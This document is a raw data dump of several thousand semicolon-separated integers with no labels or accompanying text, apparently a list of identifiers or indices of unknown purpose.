49241;34265;82488;25892;78150;16728;96853;66381;85082;97717;92556;99946;29541;99345;31448;90221;24018;60192;11783;97122;61260;102155;37087;101492;66227;80769;91036;77849;60041;86852;69525;25054;81930;81277;55966;73269;99713;28917;92945;30145;85039;12944;18132;92594;70121;49563;100720;18116;11030;54691;32907;44326;106684;96456;48579;28131;82520;57423;100246;68786;102450;106928;41447;74045;64314;96101;52839;67024;13980;59473;82667;30633;46179;48938;71314;82563;40516;62350;60052;17307;19130;37997;67700;17418;17206;64952;50945;50422;38557;26321;27357;29991;49816;42121;40375;41514;27087;12762;30072;16450;15223;25258;73058;15946;77753;27872;72722;39126;53485;72160;25557;17152;31652;82915;85013;54546;43368;34997;71576;20134;72499;23981;11908;61721;38514;104810;49372;28555;44645;63613;58063;84505;50566;20711;77481;53113;39042;82989;18094;71022;23895;28255;22597;85085;66973;93947;76781;74533;48724;99781;95749;18945;91782;101616;41969;40435;56768;79025;68397;69857;14952;100623;63418;23072;62398;54224;49283;71819;60151;56815;35234;22640;71709;55256;92714;59613;42303;33456;65158;50642;20794;97268;39632;70004;51732;53770;71453;64455;59549;75017;13386;84583;62655;56048;97654;91675;21485;87776;14134;53799;43730;23308;71312;26440;26220;61252;46300;18461;11936;11735;96268;71407;74010;63761;55842;24729;71398;53782;52111;49215;24473;37646;36530;40689;101088;53362;78617;16821;34543;42465;57227;75064;14448;34845;13254;41257;56130;28514;50297;28243;66530;53861;101026;62591;23715;52274;60424;94877;68887;49661;54658;12654;45006;22278;99419;30466;22361;106271;20400;200064;11580;97869;67349;49275;75849;64456;41463;93963;30502;17602;64788;12731;51142;54325;103122;55571;65232;89773;75286;40167;23534;87841;46284;26839;74064;41435;81419;25181;84846;39423;15594;101744;40365;72524;100615;26302;36602;75797;61198;60676;103701;90643;12217;17656;85861;29760;51285;103739;63589;91616;37804;79694;102130;87670;79892;71804;105317;12410;84657;75289;74953;25232;74311;50799;77648;76227;64269;102553;41070;21362;51418;102330;11139;87084;104340;56570;48667;36292;55054;37911;52351;79510;70091;78096;30199;93765;79017;101313;61999;105764;61792;45221;77487;16680;72745;68946;68430;71619;53451;200082;10716;38180;17409;45637;86717;97334;61418;40336;30027;34702;88139;79245;99935;25932;70059;57401;107147;87094;78531;46873;93410;53632;19677;81706;16515;66623;97106;41038;78473;58645;49795;14001;27542;77315;70688;11547;73476;93697;48418;65629;13946;103278;78016;101674;100284;87525;52697;65668;55638;81959;41473;56899;18196;26966;78753;21427;91429;86758;86101;58812;19016;104595;74782;100747;81826;35113;68937;26937;107135;55199;34791;64390;68801;24291;100600;72009;23726;15961;62067;96281;44761;45299;41776;30783;66707;23668;15985;48290;59862;21924;36830;31614;107088;90874;13208;65671;79183;45905;53033;82779;87055;86399;101388;102360;102477;26266;41605;63281;24069;50024;53379;67454;24074;54552;75418;106220;92544;19511;73449;42435;78844;49324;27964;42233;25264;84240;20356;70373;30666;91828;105580;89954;26013;88848;94513;69238;25120;17778;69826;16750;100425;49185;84966;45535;60962;100136;53722;81485;59491;88878;17324;64465;68526;52278;52763;12104;49504;99464;57000;92793;36667;11064;49557;55785;84358;12465;16753;29506;26929;52793;106732;87068;49213;22451;92335;33933;52790;42190;52489;29082;21121;73534;77823;15624;90767;52870;31265;31994;19688;89245;14702;64773;56478;19080;13681;91549;69668;79059;26835;65250;106836;40889;67098;77608;22769;55357;31893;27978;76211;75259;69214;52896;45718;33860;91348;102586;71588;77149;29121;39381;99637;96073;79143;64084;25861;101154;68184;100191;81151;63011;94645;67102;38666;65414;59289;76639;91031;68436;86231;27395;26432;65143;44003;82923;72941;59946;40132;28313;88109;61149;97511;35341;64395;29466;41087;80870;41737;107015;67607;92067;37568;41123;90489;67767;38512;31566;66290;62674;40552;106965;79178;70903;88451;40729;35998;91193;44672;92868;48878;17532;21375;71946;69288;16200;75031;61986;60986;106244;100581;50219;13372;32179;33651;66891;25327;93003;50480;74161;95865;18497;45676;70268;97307;11574;78251;44579;96433;57681;63881;16343;82031;106222;32486;90038;70522;56714;102984;83720;102286;60274;200098;21518;87436;104935;73318;100728;54782;45638;63302;62454;43007;97281;51272;42600;71675;33104;18707;18486;86093;61545;89682;88757;14615;104089;96724;64004;21509;46900;50943;79708;79400;47340;31631;45216;29870;47768;103571;63942;44384;67941;54909;73246;95875;106223;24779;45781;77536;106716;52395;70982;33566;75654;92100;44306;92466;104634;99229;103172;103398;83042;64940;83336;87315;38900;103831;17050;88501;19802;34072;92485;83195;11496;54647;96412;93441;103493;43868;35217;71017;90224;51066;49203;92550;90834;37367;105952;40682;40342;25877;22964;35452;32969;21307;37702;99676;200037;17116;55170;50720;76141;62446;96222;75970;87805;10930;38565;74173;73286;86681;43496;76816;68204;23880;20030;85389;49158;42194;59364;37234;16904;101591;82823;63897;59360;76838;28279;92299;39996;26734;35253;100242;57096;60642;48434;19147;24247;87846;75111;23902;55891;94630;19567;43844;68828;17550;99233;29545;30782;82994;96887;101119;21856;74157;100049;200136;25891;89898;52639;65397;91113;33294;40349;77375;95926;35831;16740;14736;70326;75319;19901;100917;66345;63621;39543;100227;34086;53877;95950;97230;44045;37694;32884;54597;105380;87424;30821;104009;93793;89521;103947;51955;67046;54148;43530;33673;52010;21309;40560;21216;81028;70081;18017;18322;105612;85397;21330;96716;25276;81741;10535;78692;90220;70407;38498;16460;75596;10210;55510;10011;52310;66398;25259;34112;94820;17101;48948;50249;27342;13403;73512;75675;40211;99700;10696;84655;34068;48225;64783;103622;13938;20079;104874;67171;88663;95949;67298;76286;60923;69363;47294;32608;29438;105278;60332;67619;14077;74272;59760;90714;13045;59270;54643;59955;24389;15613;96749;23989;76296;17815;31957;29693;83482;103238;92417;66225;56273;103005;82564;89177;59503;61903;11859;55113;83098;77277;43221;86820;92515;84705;35582;42551;102672;79312;56854;41566;92555;87501;61699;34232;22932;31138;57928;82035;95258;52540;76368;42891;97005;101040;83795;54064;91122;39934;42221;61998;24555;10408;21531;68682;93068;25601;52436;100836;75670;78911;54683;29344;79464;100263;88152;99257;106582;23276;21658;37818;18415;14382;105723;78393;100055;60816;88044;93980;71454;14918;57973;78689;62360;12623;30459;23496;35633;50033;54433;75716;88776;12563;77101;14657;10119;27347;81479;47602;78092;87868;51199;102032;75353;12099;97335;50911;57452;35033;105131;72465;15461;89830;42996;38967;77591;24075;87904;57115;86828;11850;35218;74393;105378;35636;20045;19063;45424;81078;75750;91167;83761;12968;61235;39774;17659;75272;52692;56398;37063;19161;37870;31748;53314;25662;71794;92176;69935;61657;58513;93294;94459;61100;14057;84029;52211;29578;23488;46296;52442;107035;73925;49056;102230;27859;107149;99241;38056;17767;84325;33760;28209;69070;76043;62278;99365;68107;35044;77461;73858;89837;62916;52309;73176;62922;67528;30115;61860;29487;97260;34389;56951;92946;25345;64680;90704;92250;89402;66745;31625;92933;24812;10515;36339;38763;78222;50708;89525;19786;48996;106943;88623;70757;16817;56107;92469;17168;101072;10318;66993;40591;21404;61611;35902;82206;76424;75807;42491;99765;63573;90588;99523;16531;89288;66725;42793;24480;58307;100135;50206;34536;81496;103107;53676;51886;76388;68142;61845;26995;23754;102602;76417;84789;19156;78805;21171;97769;43696;99883;102106;74832;29171;74585;26377;36307;99962;71217;85076;80024;33132;82462;16604;79234;27481;97737;68220;19389;29572;77437;90744;86423;94509;34802;43939;75080;61907;19230;34578;50822;78380;19769;74273;87453;17572;13901;69516;72791;55427;43187;25519;18401;77475;12652;16223;90358;46463;97354;104528;50202;102421;103807;102111;56867;24298;52280;60991;25146;28223;20818;95904;40418;50330;37734;27902;27446;99387;82133;56606;12259;27907;67229;74192;26945;40654;13947;68983;48233;77856;52700;16905;105807;48865;100628;73753;54602;21523;71763;50634;33152;15608;31116;60211;72015;32077;73182;100594;20025;49053;100978;11613;83734;28912;12420;92982;57967;89677;93067;104355;35874;100697;90007;74567;63319;103334;46638;45259;40361;23424;88548;84750;80348;15753;54163;20497;53894;58140;19984;16358;49773;72474;65727;100431;78740;87196;100370;85393;73456;48594;40891;27677;53015;92138;85551;54293;78152;73755;81296;43601;55625;71356;44327;13236;68250;89501;28084;106501;79895;32272;102318;28831;83501;28423;21342;16828;57050;15183;55192;55331;28087;101365;49585;65202;77735;77052;29439;32151;79953;69653;79618;85620;58413;102258;69168;66914;93611;67352;93530;42487;101436;57302;90243;82423;88807;74440;51778;51966;55397;34999;19368;21398;90448;34083;85403;91418;77501;73050;60646;20844;80067;91202;71859;22277;50983;11804;30226;52014;50930;21741;62551;52515;29678;68520;96721;39454;44139;75824;94564;62149;46516;84668;93047;22874;73685;73342;41825;94419;78796;31435;44817;104490;13001;87901;30104;64286;14159;89349;63014;105726;76471;48483;79499;67896;10496;44766;38516;21165;27262;21265;105185;24874;54161;64191;26238;81869;74111;23313;72565;57241;10082;58150;33093;63831;27725;36328;91353;19642;19337;31429;103391;86102;64528;88032;66730;16214;30074;54715;61056;78906;17459;10377;75122;25992;62478;91402;75370;80766;36175;73344;63422;71631;100940;39023;16198;58927;50444;30883;92578;49886;44379;96072;40502;89583;30028;64750;96582;69107;73667;91569;33540;101085;94907;75736;10607;96360;96894;101253;10393;68772;14153;99745;33079;101803;37722;51380;28129;14670;61157;74668;85601;23514;102336;33075;12678;67734;101902;84267;13494;62078;101039;52684;69165;94117;68259;105846;59204;105121;17474;31017;99273;82543;32523;34368;83807;62887;46944;69196;79232;64071;74260;59670;93539;43505;61547;18588;44440;97973;93240;83151;47232;91516;74741;90785;40928;88026;106886;37149;44454;39751;11817;22293;71975;18115;50805;21078;56984;102411;68558;59073;71297;53458;73165;104888;82052;43623;54522;104600;69659;74838;19961;69377;31474;95797;40607;34145;50745;30148;63629;99422;22317;71109;103657;37074;43398;15210;33801;29699;31158;23046;79496;88028;65553;66194;82793;76494;77157;47040;67930;14748;53776;64282;101526;59633;22164;77251;13955;77086;19659;73653;44682;14875;102730;103678;32834;28589;15510;86802;13049;97966;53618;34510;23823;19013;31352;102417;97930;26375;96157;92304;64494;31880;104648;47174;46580;34408;14387;89315;54458;91800;38013;80312;91327;14065;57560;14901;76008;97490;35093;29148;24004;82446;86713;49103;85418;54469;12743;15825;35359;83123;52188;82526;60301;78022;63257;10853;83692;22475;39290;40265;94415;34375;79562;32423;39067;46788;47577;26750;29927;34509;89285;104461;40944;75603;101368;91140;32847;31536;66080;88659;12777;19494;35909;74865;16413;24588;103484;83264;67746;64845;26279;32100;15423;31098;31079;87604;78503;67669;87016;34192;93168;26737;46809;95791;14956;74218;77436;60628;79115;93999;76486;58821;102714;76747;73348;92848;30429;75002;105932;54022;79091;43292;39629;16975;16005;14415;81661;68042;31869;20838;14060;78579;42690;14160;78352;31538;94154;58010;78700;60979;16313;101250;33499;41161;96560;41676;35414;75308;65852;77156;61486;103264;59425;97976;95652;57093;44159;99572;80001;56447;104977;33747;100699;73091;85298;89514;33555;46597;45733;72813;14301;54939;67177;22210;79591;88150;62384;97466;83962;48674;32770;100208;65393;77169;58797;84112;26707;21942;78168;67041;90627;81462;42604;51077;77174;60260;77232;74336;23870;39757;80991;17236;65695;38312;41376;18279;56325;56226;31883;11349;21450;54000;31863;22161;38504;68836;92344;65279;81315;20591;88803;94948;18905;58406;47687;56037;28932;42220;69614;55228;57189;46347;40828;20907;17008;106465;16955;102976;102622;84639;29420;73521;27018;23222;84263;52517;95892;64481;31393;55720;53009;27246;24983;81404;13920;13677;14926;23603;49271;37701;102950;61553;16386;36938;19921;47453;44607;66049;86132;10047;12784;99747;81188;33642;31801;30573;22376;73947;27121;25819;73412;43975;90993;51594;94631;68658;83884;63611;10553;21278;56490;59250;42704;22988;99859;24870;71746;96971;105341;57867;55349;39118;34233;30876;18802;87253;95277;13496;83091;81890;48819;14551;105545;54701;96107;41182;59457;31615;56965;90525;80076;81103;52995;67450;74406;91136;93525;57204;35409;53549;72270;46763;79842;105486;67732;20219;16856;15074;66836;45165;69223;62683;10463;26930;40500;34769;68100;75226;94545;10503;16148;92808;28287;90778;21948;91315;40009;102225;106849;69430;70986;31150;31044;100496;25231;72231;58035;23221;104793;60882;52612;87693;35139;57087;15610;24603;41935;32930;106117;34127;83877;83056;52128;17035;43005;45606;77083;92168;56357;76663;100990;62040;14686;84056;82329;70182;64693;84774;49474;33347;77737;76226;73985;18223;81221;81490;91990;34101;53023;94993;42794;53585;25456;11695;67487;74522;23709;68420;105558;12097;40288;85693;74197;72240;97322;16511;61797;104122;61767;40795;61668;54539;18591;50520;11150;47548;80098;91152;100650;69093;59053;25899;33201;46146;69647;32872;91210;86559;87948;74821;103429;50715;60311;76313;55940;92959;32902;35563;56417;62554;101636;89684;43066;74939;77787;92696;67879;59230;53459;95992;41151;29741;89970;10432;79342;46360;41013;86413;71591;57698;48389;12018;86584;27442;105576;13766;103463;48360;35670;25614;81690;42608;13021;85323;64394;16734;89173;60263;16355;29731;64772;59566;20352;85117;54405;69986;71806;78173;15630;54998;63378;74635;28512;55114;75475;59402;87185;85091;63390;96218;32687;72265;60778;26195;48457;97916;94558;38122;90526;72094;40453;104839;24071;20229;71844;103373;59465;106793;47229;75591;59557;59132;83585;41609;16685;101496;33136;45572;77353;88090;42188;77667;56874;31137;70556;71259;69722;47708;35625;11994;45450;39477;70502;30451;13646;80976;54592;89519;84749;24721;101693;93205;65174;49997;106233;62905;64079;63417;105891;92817;27486;28995;89079;33434;85890;68178;96325;93788;40254;54967;96331;17246;89856;50582;21681;17128;82938;17634;59837;22102;64955;78713;65756;80629;95844;30204;19020;37575;63593;75275;96047;65552;97100;78398;22252;66330;57733;38235;20133;44347;27166;60179;19833;26482;51148;22129;11768;17279;65078;82942;13413;88925;31810;39724;80103;52265;31088;100342;92616;33426;78694;61620;52360;83052;73822;80043;45287;64323;105751;94038;102372;57248;84426;102637;29689;65650;70083;91785;45772;73498;10517;106319;12620;61495;95631;18162;21850;54387;42602;84262;52846;46078;68120;105233;94425;94629;16437;104112;78275;66492;47601;24957;50396;100934;52154;26698;35326;32392;102317;37584;77184;84042;23790;18780;103909;103328;42003;68214;46888;68763;26860;72725;47642;39247;12402;104359;40870;18525;58430;39211;38555;12198;85732;94810;76539;78097;41415;75419;26915;95288;99372;13079;62156;99142;62400;100797;72966;51502;53636;21474;42280;91678;13320;87908;35886;82610;83869;80020;57860;33785;76230;44559;42273;25206;44302;69800;68327;67832;95523;95267;86552;41037;25388;74200;56988;34762;86665;32533;41581;73327;72355;44577;31920;67198;94700;55995;48956;101041;79807;42481;102657;77379;34968;75105;55682;10678;39095;55144;101851;55644;43487;31476;95654;55900;22344;62785;56339;76072;104074;36797;64216;75139;31441;44742;39261;25261;32881;53702;94994;73671;48470;28845;64043;74098;18948;74498;40641;16135;106624;32289;104619;70280;99709;40190;92461;60812;86348;55107;79014;47615;45385;77700;31465;20976;54084;53740;93829;88939;20123;36471;104964;77557;25196;75393;46380;62408;97729;50864;77975;45732;66393;74793;55307;30053;106610;32422;47890;95686;95266;21737;91646;104518;14523;102859;20583;66962;83184;57738;69829;85893;37847;32744;62429;66110;59898;44843;79187;11884;80607;104078;95753;24431;40205;78271;62366;85785;26447;34681;32789;52526;77048;26156;79244;46333;12246;37666;26767;102688;41469;44090;17811;14773;59261;18160;23753;11911;54460;78087;50062;92568;13759;99186;90288;59328;97620;27651;58831;56765;79963;54002;90254;18383;90875;56200;55685;13437;17979;88435;106264;88936;75909;19373;94804;28471;82077;13167;16264;73089;14390;39540;100291;71226;30127;21829;76672;63880;67919;47529;25955;54890;72651;104025;75738;46502;38346;37470;10557;33493;60886;36076;72455;40068;25123;79310;28573;62936;45536;84722;60571;66069;61207;19793;45870;30620;90389;39595;69471;30972;100916;102074;101379;42550;20520;95929;20620;100944;43810;42809;17461;45109;94254;103041;87303;67807;40458;55381;16529;93200;86982;46820;22542;102527;78542;41436;68174;88042;92207;85093;77923;90768;32004;34600;37002;13544;22663;13260;89337;45598;57859;41781;106685;45440;25019;54867;23086;101709;30521;33930;95578;67772;96422;84007;67989;21024;46117;20916;36967;32410;24446;18781;47239;22742;78670;36987;74729;78079;47111;99750;93328;44819;59017;64018;65914;21125;38727;32373;67121;95264;70630;31699;65982;76266;70061;49080;68692;67952;81190;28079;39306;14893;104525;10673;96828;96736;51082;75426;70175;10582;86031;39217;72166;96704;42184;71270;88906;91440;32062;71179;32751;27355;79997;34853;100586;85268;80265;27605;51388;47084;29298;90474;50275;49530;76567;18020;82698;20312;71793;83880;42373;94784;24861;58681;24754;78183;22559;43880;10372;95262;43686;28756;49195;78858;101223;18812;67581;104246;15919;44898;91788;97599;26181;58658;69341;57564;39772;44716;90858;33253;42372;60504;76728;27726;59686;85905;15459;60770;56673;78490;54929;90076;33299;56646;60951;22005;99744;101856;92331;39220;19865;28119;53614;24727;85824;69819;65287;95524;53026;13972;70103;33323;14182;24769;63784;97373;82944;80344;77828;43910;106050;54560;11486;59375;67639;67124;10805;19805;51115;13807;56039;51207;33895;82669;14803;67618;20082;44960;19018;65281;54851;77672;69572;91725;54759;84164;85755;66002;33824;84425;102529;59124;104160;107066;97853;13813;17085;51279;53990;37288;102647;36844;19088;79250;85636;49598;58744;78551;87853;102746;21938;84608;32915;54844;63419;49616;94280;104206;91696;42382;20147;29686;79330;88995;52418;35778;101680;79597;26855;36595;105747;56033;60961;81237;40572;17705;19702;102994;57411;54692;101595;93330;35829;54869;49673;50644;26369;58746;15137;20979;24274;71825;52624;38798;66703;42698;63781;59607;57015;63873;77847;73424;27705;45991;10964;97706;31701;103086;91341;40017;16077;67103;90151;11344;43443;103181;28122;73138;76769;58516;32069;23228;23407;95356;77609;61530;67784;74234;17367;66726;34842;61989;36558;83145;31449;90457;96665;49025;19711;12412;55027;39159;71435;54369;84499;62340;24865;40110;69676;18421;95958;106363;44596;50573;96638;19367;20152;48231;21231;89249;70137;27435;56030;59467;13986;66256;103621;51310;67473;77500;57593;51346;60403;67906;58353;37162;24990;96499;62536;36115;63283;39748;14814;42977;32322;34948;47241;44725;44225;51154;26401;86510;101273;31900;60251;16902;34537;103973;47703;46936;58037;92512;11176;78602;38183;17633;100905;31984;50652;76492;31604;95546;47736;69587;30813;106287;71085;21902;57613;86478;88819;103266;85022;10502;27177;99604;104167;82684;21457;50004;30225;61053;44533;95461;84280;74515;29859;21073;26803;84715;18957;41131;97124;16823;21056;78755;80053;19005;25224;17325;81789;83571;68784;104520;85944;42584;20254;102420;23380;22999;96626;22178;106080;83987;68316;84866;66978;95499;58180;60072;74145;58770;71450;36755;57925;91186;51611;51598;102151;70864;77619;10600;19618;48829;64774;82982;104362;70134;44310;60721;16696;81988;93840;97077;20723;19576;104617;64497;52786;31394;40319;47775;24153;21295;23030;26864;61718;54489;70739;44298;38634;28099;102918;81034;70466;12030;70639;67274;55548;99269;23991;67204;87407;76031;81000;62746;48775;104241;27798;34020;77572;83149;32243;104287;20670;40470;101560;37873;99845;33373;74519;37128;99425;74476;78334;31574;66774;68621;89421;97864;46379;32614;63703;75522;53418;52319;24850;60675;50646;67887;200131;20918;63996;46930;27088;97594;19827;99526;22234;74293;21598;16994;50759;28961;23034;67241;73874;92872;10462;70300;13918;74246;94842;55461;54175;35526;41078;23208;11777;90772;33000;65846;102443;82905;30289;66491;96780;15124;22879;101194;21625;10284;23097;42063;89873;18522;76295;51353;84531;21955;44016;30738;94893;88798;60679;59748;38544;23541;22268;25049;90861;13070;72242;77844;86589;64579;73854;94494;79789;55089;64722;70742;77920;54075;60198;64444;95330;35727;39518;25551;70828;62630;15762;74960;27579;87511;65383;46358;16612;51948;64246;17792;29953;34817;62750;50637;89016;72940;16855;90843;100478;11591;41294;22014;14752;16541;27914;88404;19720;43545;105877;96746;11197;49915;81001;24646;31817;20750;59825;41287;75163;48916;46708;45387;94421;39406;87137;53415;38952;93819;32137;17304;64333;104890;77074;83891;104854;11941;15768;32962;33293;87840;88743;93801;73252;12709;32415;103472;82061;52201;27970;104781;31185;60132;68963;45804;12537;62697;58975;83982;12646;11409;59167;42343;33480;99938;20569;52603;13443;89622;90637;58104;100207;80932;85699;101536;48503;27172;78082;49663;104261;53867;16974;43150;34980;35222;106572;67461;12610;79786;42330;61061;16876;47483;100006;77489;49891;58550;32576;77245;43347;87760;81258;24976;82762;85002;74983;44952;95009;95005;85311;97400;93111;13377;30311;91744;101672;76173;70282;85912;91444;58288;21691;63981;41128;13273;99648;104586;69605;45141;20784;90237;91242;51870;12970;73630;63519;80109;35533;83322;83316;39980;25400;53527;13460;53641;21797;89563;53467;44757;77053;28417;88508;37175;25902;77552;10109;74845;17991;26511;99101;71862;78228;97626;106397;71362;25257;97586;20512;56555;87451;32939;29932;85453;19283;86255;87458;78823;86848;17727;37072;13023;78514;92389;51842;27381;95458;38390;11618;79631;58726;97279;54791;54772;48697;41980;16961;71782;101726;21881;81649;16204;100249;16248;96408;39947;14043;35468;52270;17222;36630;95801;91305;50778;44999;96867;89814;26856;16838;47399;52981;62644;57621;88693;96586;91840;54168;23928;46548;85684;24618;25426;96431;26607;10291;14326;100733;52253;30946;58525;34209;87254;99675;70063;42243;88843;46457;43502;28365;19503;51664;93319;90621;31109;52080;27311;43732;80667;30308;19959;87332;74646;53771;29652;84061;69661;23322;76739;72214;97032;28093;70972;28824;66983;32723;105109;19441;13680;97640;50282;60233;63787;14614;100385;96821;53368;94791;64402;54342;39627;101281;103898;94861;82597;58310;40996;12061;68879;88670;100305;41001;43741;63777;57341;44593;97128;84151;82652;13430;74615;48425;91858;65377;40165;100981;95975;55309;52379;10681;96997;76389;71549;50546;55095;75618;97383;40182;56993;74839;65664;49523;28768;101806;21365;57862;64460;38673;11244;74300;18109;88533;71607;101542;92548;80641;97651;60081;47395;24184;88661;103423;99578;24998;24762;100220;23536;101644;19806;52056;106964;97898;64258;101466;89428;50760;33310;59797;78930;50998;33022;106229;92115;43126;87954;56239;19423;72634;12584;89600;19726;80547;80884;47007;64135;24338;81964;47722;77987;21951;96282;89674;39963;70575;47173;19617;82158;100314;31848;81589;53876;54493;20744;61694;53514;73915;64641;94714;24706;103828;30562;13060;106418;86582;62878;12638;58478;103500;64266;49877;20947;64281;35757;88811;97162;32763;88381;53796;51800;29904;101797;78707;61720;102001;82307;24373;76097;89785;57660;42765;17305;17736;32140;99910;27860;102900;102096;23001;79925;96175;31946;13669;24462;75563;77339;105331;35495;62091;88598;76405;34674;22571;71784;25246;75051;54580;73584;67193;42578;77881;28337;46015;27621;58321;57188;75092;101741;23304;17329;15126;44738;50155;101804;14113;32484;53814;99182;102013;86058;34271;62012;32500;87091;34099;54591;70293;60746;40396;58887;54340;101634;92537;27286;27639;19386;32918;101929;83969;104344;104304;95622;82965;82595;86247;89846;49456;53935;21053;55395;59605;54428;89284;106162;40499;67642;70062;50962;106032;97071;58129;106663;69215;105068;69878;48351;39400;50246;30727;53428;100546;78255;64414;64553;73864;76185;97159;59269;41816;93314;64262;40773;11521;75834;72256;58994;10900;68338;57800;28564;101156;91639;17548;62748;13488;72024;35735;14322;63292;59747;88385;69276;64903;21580;31972;65940;89625;74773;103843;89908;81979;50689;95497;24973;46681;16037;20153;30903;66463;92448;89603;40675;99545;82715;59320;61818;86038;76440;87077;39499;27101;39911;85469;73919;67383;31520;51934;89641;31286;50865;46423;67313;24116;62513;69552;94690;68840;37261;70897;29485;65696;40808;103955;13964;74961;61472;83418;21787;17031;28603;94286;13131;50041;29898;89555;59692;27316;99199;68175;18305;53730;44498;31582;37884;18095;59084;84017;38374;97752;63676;47260;84086;22162;44901;65622;16201;52972;93084;83804;68644;34787;41097;12317;77758;45530;83037;53313;95925;104079;32139;105650;62036;67929;102202;91830;36239;82557;43782;38835;35934;55516;38783;11845;15722;97209;85206;67520;17667;58223;61825;102257;40787;26191;85653;42817;58267;81120;69866;105108;47149;45713;50428;51451;37441;68532;26674;16866;47309;66192;70671;71847;104981;43887;43476;36112;41205;96368;86184;17505;72039;94157;25999;84158;50912;78968;85109;99609;89445;79916;29087;51688;13196;17563;200121;99230;33919;49691;51487;38643;74755;94884;88813;66793;64980;14302;58114;105711;61469;69730;19946;12007;52078;86784;75927;79137;55127;54605;90136;99835;53323;27141;77741;70285;23025;39524;72482;106212;35430;21612;25765;22216;16449;106693;16314;106999;23854;99105;51716;13859;99111;22810;100318;63465;67824;24354;17416;93632;14937;104804;36092;44706;45016;41032;44998;14227;62990;12017;87665;72643;11274;106069;70030;28486;74000;85280;97014;93419;74618;25997;70666;39044;56439;23606;70525;81392;67071;50687;67390;48191;90540;53504;71944;59018;90066;52104;103640;93814;79983;14388;70835;15797;70405;12550;70436;67035;46305;84389;71334;42155;51682;54153;54351;96204;75699;61106;76666;61386;10530;65207;74539;57770;59541;62768;57762;63845;50777;65939;102356;25404;54328;30927;104321;62579;96234;96100;83452;59645;55797;48841;35497;21779;45897;37692;103291;22442;48424;26797;60522;79747;78376;97389;93962;25040;21710;58556;45675;78653;22969;49399;77237;101078;82356;39780;65825;102645;76039;35429;51876;20895;38081;85863;30049;62569;82088;86366;62621;79893;86304;43739;87990;47831;18166;81575;75401;19149;28307;28000;16733;28216;46952;57110;33081;31132;56935;54092;80220;76544;76986;15057;33617;104569;100542;64155;41127;100613;17396;17790;99316;43803;46972;42182;63242;73170;64869;51874;18916;61244;104886;103232;85392;90324;37468;78546;57811;62363;63095;54596;102479;93511;20623;61475;93353;79625;66888;23064;67976;15325;63113;20295;103762;45188;103012;17293;18742;23378;64055;34043;80058;52333;86986;67685;34134;13661;42177;48716;103746;91611;65938;64697;36594;94593;42587;42928;44964;17184;99587;11283;24914;95321;45202;33194;85295;84355;88823;57666;96737;34610;72856;56977;104409;17604;52823;100445;55890;54276;49834;49972;19381;46678;92883;59265;70722;106764;19502;99261;97449;49524;75469;79364;28594;78719;86916;25822;88151;97380;64182;76543;54178;53391;50684;55240;89739;79013;82343;101958;32873;64904;82874;38027;39867;34360;96975;59808;35970;47184;101195;86889;18747;22008;63355;85542;64589;28617;105212;89403;100422;69929;39298;32871;80165;104413;44522;14096;10733;46779;51565;60142;61794;39767;96001;54718;33718;63723;33407;83250;44965;69806;68157;15114;49412;59542;45288;87812;89400;93155;47803;88093;63225;59911;94228;92682;38567;88709;83684;78076;88694;70716;24731;13263;21059;90047;32462;48595;105654;99396;42497;27646;72911;72952;105614;11253;52627;24536;46587;93301;36635;24578;12809;42122;36289;21857;79641;57043;55057;69721;21377;91124;20465;79959;92630;57266;67846;94166;104547;84055;104603;55556;99034;15859;55592;67412;11387;35305;75455;18587;22960;34690;90702;86287;83328;30207;27782;54511;101631;96818;23026;81314;54001;17078;73077;38821;96583;51925;27156;12700;22704;36424;103075;12471;26347;103674;64617;76262;94095;31440;46568;43500;13128;77547;75459;61408;18392;19432;84129;34663;89823;15546;51247;96078;60194;67564;11592;55507;24803;94403;74419;85993;27760;48962;56558;69640;100413;49900;23359;73800;10434;78669;25696;44369;23835;61062;61499;36116;61809;32212;40739;74412;38853;79901;41881;34822;19119;49273;97967;39057;24856;72893;92005;94285;22977;74075;21105;28305;52396;43560;31804;73695;36509;26574;84053;33783;99283;72771;51592;20970;93095;63185;56198;74360;53380;59223;79447;72809;82092;49280;91753;102181;73379;67699;92871;92787;15250;51588;101879;82337;106589;71762;62725;49076;91148;79576;25842;105475;84033;49807;72649;69244;24995;37244;83136;101147;79346;23370;79524;57744;13003;14336;50730;13637;42296;52358;64037;74457;67924;31843;53807;56576;33240;84036;17230;41121;61534;41670;97918;37683;29855;53204;14834;102483;79445;99703;14121;54518;68261;11579;58313;38368;72281;38902;45214;15374;12792;80489;65538;42965;55105;18503;72596;102123;54055;23262;22842;29135;49525;36048;92139;96909;39823;36954;11848;53436;89461;18139;88702;65262;24426;27916;81993;70433;57032;14719;19218;75668;38596;84843;13787;73644;42306;85814;51335;57727;44076;35148;52743;84291;35482;52611;73007;68642;61419;105170;42339;85127;21192;106982;16321;105114;66410;104197;75992;64548;63490;42206;94085;57237;25085;77112;102596;96450;31568;51815;21538;20557;86066;84810;25811;79504;26811;22915;71972;19246;40973;87057;50369;24249;21458;90277;55839;26738;67741;74021;99411;28813;71905;23004;60119;70288;56119;63282;20848;10629;29960;106816;84217;83831;76187;68118;73515;27873;36986;60604;85456;52524;87382;52352;45769;27934;69358;100578;31735;104767;24951;30912;81612;91845;25473;53881;105908;71419;73268;40785;99424;82951;73373;86803;60837;19226;82091;106627;25460;65579;58211;16438;92126;37907;36796;54640;46800;24659;91435;42533;52050;86382;49154;56862;53221;72185;103573;29600;49270;106655;74904;17448;14688;33866;61216;97823;76585;33248;59763;78347;99575;65013;85611;19036;35782;32380;28635;105699;30247;46260;63085;56990;21402;16256;83511;61487;88668;75940;80127;33886;76595;77344;25532;104105;73209;67806;102713;102444;28541;82660;104012;59004;77539;103962;103757;14659;17694;93094;72859;102208;89855;34045;14981;31797;36358;27560;35813;95971;80753;107031;59171;40659;77483;65272;75529;26982;85847;94216;83752;85064;62268;40416;58165;14440;73746;52801;63975;92496;48494;86822;34282;59030;74627;94488;66613;79736;93986;101686;99973;27881;26420;14759;75604;75543;87056;65562;101614;55183;105107;52690;84213;16021;55821;90208;40851;48523;54558;34522;101933;106646;97641;34893;95976;27900;16504;86551;95269;87789;104563;17983;44146;53710;12508;37045;84513;19259;89792;84431;102794;64567;41180;58021;61687;47305;13663;75291;63438;56813;35522;24270;65050;106960;93655;50179;23333;34892;82407;10280;79475;73119;105491;54842;24209;52910;105048;76029;18520;23120;101493;53228;76648;50497;76667;32389;16288;44037;10593;15034;49431;30139;100201;97962;54150;45795;56331;46293;104825;85549;52316;39852;100653;65395;23177;91294;61940;36388;18355;81225;55323;48728;43439;55650;58505;79073;47198;96094;54818;33091;92557;17655;18216;50539;76301;51458;31411;70573;90124;46600;42087;72034;23943;73299;64890;100052;29867;99584;73472;50755;14603;19689;21152;200063;52158;27361;29349;106183;10632;100643;41862;41645;54089;